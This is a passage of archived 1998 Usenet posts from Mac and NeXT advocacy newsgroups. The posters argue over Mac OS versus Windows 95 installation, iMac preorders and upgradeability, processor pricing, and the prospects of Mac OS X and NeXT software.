Sockets was the "very solid today" part, STREAMS as the "technically
superior a year or more from now" part. I'm not speaking of current
implementations, or of theoretical stuff - I'm talking about the
implementation Apple will be using. I am strongly of the opinion that
they do not have an appropriate STREAMS foundation on which to start,
while they do have an appropriate sockets foundation on which to
start, and that they can't afford to spend a year cross-training the
experience kernel people on STREAMS, or the current STREAMS people on
the kernel.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Petri Holopainen <petrih@algonet.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 08 Aug 1998 10:30:33 +0200
Organization: Sirius Cybernetics Corporation
Message-ID: <35CC0CA9.5AEEF798@algonet.se>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
George Graves wrote:
>
> Ha ha ha ha ha ha ha. You kill me! Windows is as easy to set up from
> scratch as a Mac??????????? What the hell have you been smoking.
> Its LOTS HARDER. I mean like L-O-T-S HARDER.
Win95 has always been easy to install, at least on the 10 or so boxes
I've installed it on. It takes about 20 minutes, and the only hard
part of the process is entering the serial number from the CD cover.
It detects the devices and asks for drivers, you only need to point
and click. Sometimes you need a driver CD from the hardware
manufacturer.
I admit I've never installed MacOS, but if this is "L-O-T-S HARDER" than
installing MacOS, what makes installing MacOS from scratch so much
easier? Does it teleport the CD to the drive? Or perhaps a CD is not
needed at all? Please enlighten me, because this is really intriguing...
-- Petri
From: derobert@erols.com (Anthony DeRobertis)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 08 Aug 1998 02:01:27 -0400
Organization: -
Message-ID: <derobert-0808980201270001@207-172-90-223.s286.tnt1.brd.erols.com>
References: <joe.ragosta-0508980827520001@wil62.dol.net> <B1EE0DFF-10611@206.165.43.42> <joe.ragosta-0608980801280001@0.0.0.0>
In article <joe.ragosta-0608980801280001@0.0.0.0>, joe.ragosta@dol.net
(Joe Ragosta) wrote:
>Why not? You can run a 32 bit OS on Alpha 64 bit processors. And, it's
>well known that 16 bit OSs run on 32 bit processors like x86 (where x >
>2). Why not on PPC?
An extra 32 address pins. Other than that, it can be set in 32-bit mode.
--
Windows 95 (win-DOH-z), n. A thirty-two bit extension and graphical
shell to a sixteen bit patch to an eight bit operating system
originally coded for a four bit microprocessor which was used in a PC
built by a two bit company that couldn't stand one bit of competition.
From: derobert@erols.com (Anthony DeRobertis)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Sat, 08 Aug 1998 02:08:34 -0400
Organization: -
Message-ID: <derobert-0808980208350001@207-172-90-223.s286.tnt1.brd.erols.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7kmh$bro$1@nnrp1.dejanews.com> <6q7ppb$oae$1@nnrp1.dejanews.com> <6q8q1g$fd$1@halcyon.com> <6qa688$i79$1@nnrp1.dejanews.com>
In article <6qa688$i79$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>In article <6q8q1g$fd$1@halcyon.com>,
> tzs@halcyon.com (Tim Smith) wrote:
>
>BlockMove, contrary to Apple's documentation, is no faster than just doing the
>assignment using a for loop.
Except that it uses various cache-invalidate strategies to speed things
up. And besides, BlockMove() does not require any initialization.
--
Windows 95 (win-DOH-z), n. A thirty-two bit extension and graphical
shell to a sixteen bit patch to an eight bit operating system
originally coded for a four bit microprocessor which was used in a PC
built by a two bit company that couldn't stand one bit of competition.
From: casper@nb.net (Tim Scoff)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <casper-0808980633340001@acorn-a-40.oakmont.nb.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se>
Organization: Computer Geeks R Us
Date: Sat, 08 Aug 1998 12:29:05 GMT
NNTP-Posting-Date: Sat, 08 Aug 1998 05:29:05 PDT
In article <35CC0CA9.5AEEF798@algonet.se>, Petri Holopainen
<petrih@algonet.se> wrote:
>George Graves wrote:
>>
>> Ha ha ha ha ha ha ha. You kill me! Windows is as easy to set up from
>> scratch as a Mac??????????? What the hell have you been smoking.
>> Its LOTS HARDER. I mean like L-O-T-S HARDER.
>
>Win95 has always been easy to install, at least on the 10 or so boxes
>I've installed it on. It takes about 20 minutes, and the only hard
>part of the process is entering the serial number from the CD cover.
>It detects the devices and asks for drivers, you only need to point
>and click. Sometimes you need a driver CD from the hardware
>manufacturer.
>
>I admit I've never installed MacOS, but if this is "L-O-T-S HARDER" than
>installing MacOS, what makes installing MacOS from scratch so much
>easier? Does it teleport the CD to the drive? Or perhaps a CD is not
>needed at all? Please enlighten me, because this is really intriguing...
>
>-- Petri
For starters the plug and play never fails. Plus every Mac for the
last 5-6 years has been able to boot from the CD ROM drive so you just put
the CD ROM drive in and reboot and you're ready to do a clean install.
You've been very lucky. I'm fighting to get IIS 4 to install on my NT
server right now and it's been a nightmare. No matter how closely I
follow the directions it just won't install. P.S. I actually read the
directions before I started to install and everything in my NT server is
on the HCL.
--
Tim Scoff
casper@nb.net
<http://www.nb.net/~casper/>
The box said, Win95 or better required....so I used a Mac!
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: Sat, 08 Aug 1998 03:07:13 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net>
References: <joe.ragosta-0708981530570001@wil31.dol.net> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article
<NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net>,
NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> > MacOS Rumors is reporting 350,000 iMac preorders. Pretty impressive.
> >
> > Not to mention the opportunities to "sell up". The iMac is going to bring
> > a lot of people into the store. Some of them will probably walk out with
> > PowerMacs--particularly if the iMac is in short supply.
> >
> > Looks like they're off to a great start.
>
> Robert Cringely is reporting that they've built 5,000, to date, with an
11% defect rate. Once again, it would appear, Apple has snatched defeat
from the jaws of victory...
> --
I hope he is wrong.... THeir is about a week left, lets assume they build
5000 a day every day for a while. This number may seem high given what he
is reporting, but factor in a huge increase due to what measures
macorumors reports (working all night, highering more people, etc etc)
So by the 15th, thats 40k machines. Add 10 k since the report is probably
at least a couple of days. 1 week after its introduced, that would be 75k
machines made, lets factor in a error margin and bump it up to 100k non
defective machines made the 1 week after. Lets also assume that all the
machines first go to people who have preorders.
So 1 week after the imac is available 2/3rds of those who put up money
ahead of time still dont have a imac. Isnt this a BAD THING ?
FInancially (if you only consider the short term) its no big deal, I mean
they are selling everything they can make. But it seems like very very
bad pr.
But, I didnt emphasize this enough... Who the hell is Robert Cringely anyways?
Take back anything bad I may have insinuated about apple in this post.
*IF* this RObert Cringely were correct, what I said was true. But I find
it VERY VERY VERY dubious of a claim that apple has only built 5000 imacs
so far.
--
Whats a nice wench like you doing in a monastery like this?
From: trmp@sopris.net (David Evenson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Sat, 08 Aug 1998 00:49:43 -0600
Organization: OpenEdge Media
Message-ID: <trmp-0808980049440001@ptp28.sopris.net>
References: <cgunalan-ya02408000R0708981934510001@news.pacific.net.sg> <1998080801024400.VAA01253@ladder01.news.aol.com>
NNTP-Posting-Date: 8 Aug 1998 06:51:46 GMT
In article <1998080801024400.VAA01253@ladder01.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
> Unfortunately, Apple is leaving out much of which was wonderful about the NeXT
> in Mac OS X/Rhapsody.
Some... They're adding quite a bit as well. Not to mention it's continued
existence as a full-fledged OS.
> No elegant, consistent UI, or repositionable main menu
Well, "elegant" is objective, I'm not saying one is better than the other,
however by the time MocOS X Server ships, I would expect to see a very
consistant UI. As for your second gripe: DR2 has tear-off menus. You can
do this with the main menu if you like. Haven't you experimented with it?
or are you just poo-pooing something you know nothing about?
> No dock, and constant status display of running programs, or easy program
> switching
There will be no Dock, however you can easily tear off the application
menu and use that as a sort of process menu. Clicking on an app in that
tear-off menu will activate the approprite application (easy program
switching)
> No iconization of documents
DR2 offers Iconization of documents as a preference.
> No Webster's, Oxford's or TeX
No, no Websters.
> However, you can get a real NeXT for not too much these days, www.orb.com or
> www.deepspacetech.com, or one can run white hardware if careful about choosing
> stuff which is compatible.
A real NeXT is neat, but let's face it, support for classic NeXT is over.
If you're interested in anything more than a novelty (no disrespect
intended) a NeXT is not the way to go.
-Dave
--
thanks, later
________________________
David Evenson - devenson@openedgemedia.com
digital media production
OpenEdge Media
http//:www.openedgemedia.com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: 8 Aug 98 05:15:07 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1F18F6F-2E069@206.165.43.124>
References: <joe.ragosta-0708982205020001@elk59.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta <joe.ragosta@dol.net> said:
>
>None of those things fit with the target audience. It's an appliance
>computer.
I see, so millions of families will buy a new computer every 2-3 years,
rather than upgrade their existing one, when equally-priced computers with
equal performance (will be available by Christmas '98) are available that
CAN be upgraded piecemeal?
The iMac is going to be another pet rock if they don't make it more
upgradeable.
It is one thing to freeze the feature-set, and another thing to freeze the
features themselves.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Sat, 08 Aug 1998 09:11:03 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-0808980911030001@elk50.dol.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se>
In article <35CC0CA9.5AEEF798@algonet.se>, Petri Holopainen
<petrih@algonet.se> wrote:
> George Graves wrote:
> >
> > Ha ha ha ha ha ha ha. You kill me! Windows is as easy to set up from
> > scratch as a Mac??????????? What the hell have you been smoking.
> > Its LOTS HARDER. I mean like L-O-T-S HARDER.
>
> Win95 has always been easy to install, at least on the 10 or so boxes
> I've installed it on. It takes about 20 minutes, and the only hard
> part of the process is entering the serial number from the CD cover.
> It detects the devices and asks for drivers, you only need to point
> and click. Sometimes you need a driver CD from the hardware
> manufacturer.
>
> I admit I've never installed MacOS,
Next.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 08 Aug 1998 09:14:35 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Message-ID: <joe.ragosta-0808980914350001@elk50.dol.net>
References: <joe.ragosta-0708981530570001@wil31.dol.net> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net> <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net>
In article <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article
> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net>,
> NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
>
> > > MacOS Rumors is reporting 350,000 iMac preorders. Pretty impressive.
> > >
> > > Not to mention the opportunities to "sell up". The iMac is going to bring
> > > a lot of people into the store. Some of them will probably walk out with
> > > PowerMacs--particularly if the iMac is in short supply.
> > >
> > > Looks like they're off to a great start.
> >
> > Robert Cringely is reporting that they've built 5,000, to date, with an
> 11% defect rate. Once again, it would appear, Apple has snatched defeat
> from the jaws of victory...
> > --
>
> I hope he is wrong.... THeir is about a week left, lets assume they build
> 5000 a day every day for a while. This number may seem high given what he
> is reporting, but factor in a huge increase due to what measures
> macorumors reports (working all night, highering more people, etc etc)
>
> So by the 15th, thats 40k machines. Add 10 k since the report is probably
> at least a couple of days. 1 week after its introduced, that would be 75k
> machines made, lets factor in a error margin and bump it up to 100k non
> defective machines made the 1 week after. Lets also assume that all the
> machines first go to people who have preorders.
>
> So 1 week after the imac is available 2/3rds of those who put up money
> ahead of time still dont have a imac. Isnt this a BAD THING ?
>
> FInancially (if you only consider the short term) its no big deal, I mean
> they are selling everything they can make. But it seems like very very
> bad pr.
>
> But, I didnt emphasize this enough... Who the hell is Robert Cringely
anyways?
> Take back anything bad I may have insinuated about apple in this post.
> *IF* this RObert Cringely were correct, what I said was true. But I find
> it VERY VERY VERY dubious of a claim that apple has only built 5000 imacs
> so far.
It's called "lead time". He probably wrote his article a month ago. Even
then, it's generally not good practice to consider unnamed inside sources
as reliable.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 08 Aug 1998 09:22:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-0808980922080001@elk50.dol.net>
References: <joe.ragosta-0508980827520001@wil62.dol.net> <B1EE0DFF-10611@206.165.43.42> <joe.ragosta-0608980801280001@0.0.0.0> <adtExD0Mo.6F1@netcom.com>
In article <adtExD0Mo.6F1@netcom.com>, adt@netcom.com (Anthony D.
Tribelli) wrote:
> Joe Ragosta (joe.ragosta@dol.net) wrote:
>
> : Extra cost? The G3/366 is $595 in quantities of 1000. How much is the 450
> : MHz PII (which probably isn't as fast).
> :
> : Let's call the performance a wash. Let's even say that the PII is as low
> : as $595 (which is doubtful).
>
> The retail price for an end user to buy a single Pentium II 400 is $614
> (ChipMerchant). Now consider quantity 1000, now consider dealer rather
> than retail, ... I don't think it's "doubtful" that a major computer
> vendor can get 450s in the $600 neighborhood.
OK. Let's say you're right. You trimmed off the rest of my post.
I was responding to someone who claimed that the G3 chips were way
overpriced. Even if you're right on PII pricing, the G3/366 is about the
same price as a PII/450. That destroys the argument that the G3 is
overpriced.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 08 Aug 1998 09:40:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Message-ID: <joe.ragosta-0808980940350001@elk50.dol.net>
References: <joe.ragosta-0708982205020001@elk59.dol.net> <B1F18F6F-2E069@206.165.43.124>
In article <B1F18F6F-2E069@206.165.43.124>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >
> >None of those things fit with the target audience. It's an appliance
> >computer.
>
>
>
> I see, so millions of families will buy a new computer every 2-3 years,
> rather than upgrade their existing one, when equally-priced computers with
> equal performance (will be available by Christmas '98) are available that
> CAN be upgraded piecemeal?
Nice straw man. I never said that.
The point is that for millions of families, upgradeability is meaningless.
I had a IIsi that lasted me 7 years before I bought a Performa. I could
still be using the IIsi, if I wished.
My mother only replaced her 386 this year. It was around 7 years old.
Neither one had ever been upgraded. Neither one was even close to state of
the art when purchased.
The point is that not everyone buys the "must upgrade every year" hype.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: nojunkhattonr@aug.com (Rick Hatton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Sat, 8 Aug 1998 10:09:31 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980808100931200949@pm2-1-25.aug.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <chrisj-0708981444340001@usr1a5.bratt.sover.net> <35CB5752.DB4A33EF@ericsson.com> <19980807231805777957@ts3-40.aug.com> <35CBC6F8.BECC09E2@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote:
> I think I was looking for something more along the lines of "good
> reasons". It's a little late in the game to pretend that the virtues of
> MacOS (and the horrors of Windows) are self-evident. This kind of
> advocacy is doing nothing for the Great Cause.
Well, OS X wont really compete with NT. OS X Server will. OS X competes
with W9X.. and it will beat W95 in every buzz word you can think of. It
will at least mantain its lead in ease of use. OS X Server will do this
same.
--
Remove nojunk from my email address to reply by email.
From: "Jim Coffey" <jlc@bocus.uchicago.org>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: 8 Aug 1998 14:08:57 GMT
Organization: Ivory Tower,Inc
Message-ID: <6qhm5p$2m9@bgtnsc02.worldnet.att.net>
References: <joe.ragosta-0708982205020001@elk59.dol.net> <B1F18F6F-2E069@206.165.43.124> <joe.ragosta-0808980940350001@elk50.dol.net>
Joe Ragosta wrote in message ...
(Upgrade comments snipped)
>The point is that not everyone buys the "must upgrade every year" hype.
>
True, but how many customers *think* that upgradability is important? If
enough do, then it bomes a selling point. Wether or not they actually
upgrade anything is irrelevant *if* they think they might when they're
making a buying decision.
It basically comes down to "what does the customer value when thy're
deciding what they want to buy, rather than hat features will the really
use."
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 08 Aug 1998 08:24:32 -0700
Organization: Graves Associates
Message-ID: <gmgraves-0808980824320001@sf-usr1-58-186.dialup.slip.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se>
In article <35CC0CA9.5AEEF798@algonet.se>, Petri Holopainen
<petrih@algonet.se> wrote:
> George Graves wrote:
> >
> > Ha ha ha ha ha ha ha. You kill me! Windows is as easy to set up from
> > scratch as a Mac??????????? What the hell have you been smoking.
> > Its LOTS HARDER. I mean like L-O-T-S HARDER.
>
> Win95 has always been easy to install, at least on the 10 or so boxes
> I've installed it on. It takes about 20 minutes, and the only hard
> part of the process is entering the serial number from the CD cover.
> It detects the devices and asks for drivers, you only need to point
> and click. Sometimes you need a driver CD from the hardware
> manufacturer.
>
> I admit I've never installed MacOS, but if this is "L-O-T-S HARDER" than
> installing MacOS, what makes installing MacOS from scratch so much
> easier? Does it teleport the CD to the drive? Or perhaps a CD is not
> needed at all? Please enlighten me, because this is really intriguing...
>
> -- Petri
Ive posted this before, but here goes. Put the MacOS CD in the drive, start the
computer holding down "C" key (no boot floppy which FIRST must be configured
to find YOUR CD drive required). When the desktop comes up, double click the
installer. Hit the "install" button. Go drink a coke or watch TV for 10-15
minutes. When you come back, you will see a mesage on your screen telling you
that the MacOS installed successfully. That's it! No drivers, No "Windows is
detecting new hardware", no serial number, no baby-sitting the install process.
Best of all no hardware that STILL doesn't function EVEN if you DO have
the proper
drivers.
I'd say that was about as easy as it gets.
George Graves
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 9 Aug 1998 22:26:03 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ss8fr.sf0.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q89qq$mvp$1@nnrp1.dejanews.com> <joe.ragosta-0508980755110001@wil62.dol.net> <6qa97l$nlo$1@nnrp1.dejanews.com>
On Wed, 05 Aug 1998 18:45:09 GMT, quinlan@intergate.bc.ca wrote:
:In article <joe.ragosta-0508980755110001@wil62.dol.net>,
: joe.ragosta@dol.net (Joe Ragosta) wrote:
:
:> OK. Let's look at it this way:
:>
:> A virus can do damage to the system. There are many more viruses for
:> Windows than for the Mac. Does that inherently make Windows worse? After
:> all, by your standards, there are more ways to break Windows.
:
:In the respect, it might if I didn't have programs which can defeat viruses. I
:don't mind using programs to protect me but programs can't give my Mac memory
:protection. They can defeat viruses on my PC.
:
:> The answer is, "no". Just because there are more ways to break Windows
:> doesn't inherently make it bad. What matters is how reliable each system
:> is in real life usage. And no one has been able to show that Win95 is
:> better than the Mac in this regard.
:
:For viruses to be a problem, your computer has to be infected by one. That is
:a low probability event. Then your virus protection software has to fail. I
:can't judge the probability of this.
:
:For program bugs to be a problem, you have to have programs with bugs. This is
:a high probability situation. Then your memory protection has to fail. This is
:a certainty in Mac OS.
I admit to not being a typical Mac user, but the lack of complete memory
protection in MacOS precludes it from being a useful tool for me.
I develop my own computationally intensive software. There will always
be bugs. In addition, decorating my portable Fortran/C/Sather/whatever code
with wholly unportable WaitNextEvent calls is very undesirable in the
heterogeneous computing environments found in the scientific world.
And finally, it is in general not *possible* to put WaitNextEvent calls in
every 10 milliseconds or whatever---some loops run quickly with some datasets,
and othertimes, they take *much longer*. It depends on input data.
Call it too frequently and your computational throughput goes down the
tubes---call it too infrequently, and response goes down the tubes.
There just isn't any general way to know a priori how much and where
to do it. It's just deep voodoo.
{Application note #646: WaitNextEvent has been deprecated in favor
of the WaitForNeXTStep call. 1/2 :) }
:And Joe, I don't think that it is reasonable for you to expect a study
:indicating that Windows 95 crashes less frequently than the Mac OS before you
:except that claim as probable.
Why not?
Windows 95 has severe architectural blunders regarding versioning of
dynamically loaded libraries.
{I begin to think it is almost
intentionally so, in order to promote MS-only machines---DLL updates
being tested only with Microsoft applications, and then spammed.}
In any case, only roughly equalling the woeful level of Windows 95
ought not be a source of pride.
:I accept many facts (and I'm sure that you do
:to) that are the results of theory without direct observation. If fact, direct
:observation can only account for a tiny fraction of our beliefs.
:> Regards,
:> Joe Ragosta
:> http://www.dol.net/~Ragosta/complmac.htm
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: NEXTstep/Openstep for the Mac
Newsgroups: comp.sys.next.advocacy
References: <35CE3EB5.D870B739@ericsson.com> <1998081002360600.WAA23106@ladder03.news.aol.com>
Message-ID: <35ce7344.0@news.depaul.edu>
Date: 10 Aug 98 04:12:52 GMT
WillAdams <willadams@aol.com> wrote:
> And where I sit, my NeXT is far more accessible.
> Naturally, it goes without saying, or should that a locally loaded software
> package, a la Webster's or the Writer's Toolkit for Windows will be more
> accessible/quicker to access than even a CD-ROM like M$ Bookshelf, let alone
> some distant internet site.
So download -or write- a program that uses the free Webster's dictionary
content available on the web, and which stores the dictionary
locally. Look up www.dict.org.
The world has changed since 1989. There are a profusion of online
references available, online, on-disk, or a combination of the
two.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 08 Aug 1998 15:34:40 -0700
Organization: Graves Associates
Message-ID: <gmgraves-0808981534410001@sf-usr1-24-152.dialup.slip.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com>
In article <35cc74c1.22951144@news.iafrica.com>, cquirke@iafrica.com wrote:
> On Sat, 08 Aug 1998 12:29:05 GMT, casper@nb.net (Tim Scoff) wrote:
> >In article <35CC0CA9.5AEEF798@algonet.se>, Petri Holopainen
> ><petrih@algonet.se> wrote:
>
> >>> Ha ha ha ha ha ha ha. You kill me! Windows is as easy to set up from
> >>> scratch as a Mac? Its LOTS HARDER. I mean like L-O-T-S HARDER.
>
> >>Win95 has always been easy to install, takes about 20 minutes.
> >>It detects the devices and asks for drivers, you only need to point
> >>and click. Sometimes you need a driver CD from the hardware
>
> >>I admit I've never installed MacOS, but if this is "L-O-T-S HARDER" than
> >>installing MacOS, what makes installing MacOS from scratch easier?
>
> > For starters the plug and play never fails.
>
> Wonderful what you can do when you have an OS *and* hardware monopoly.
>
> >Plus every Mac for the last 5-6 years has been able to boot from the
> >CD ROM drive so you just put the CD ROM drive in and reboot and
> >you're ready to do a clean install.
>
> In itself, nobigdeal (so you have 1 instead of 2 disks to insert).
> What might be impressive is if you can boot off the CD-ROM without any
> reference to the HD at all (i.e. can remove the HD, still works) for
> debugging and virus cleaning purposes. I've heard this is possible,
> and that would be a major advantage...
Get ready to be impressed. That's exactly how it works.
>
> > You've been very lucky. I'm fighting to get IIS 4 to install on my NT
> >server right now and it's been a nightmare.
>
> Irrelevant. IIS4 and NT aren't Win95.
Same awful interface, though.
George Graves
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: What's brewing at Apple?
Date: Mon, 10 Aug 1998 00:17:59 -0400
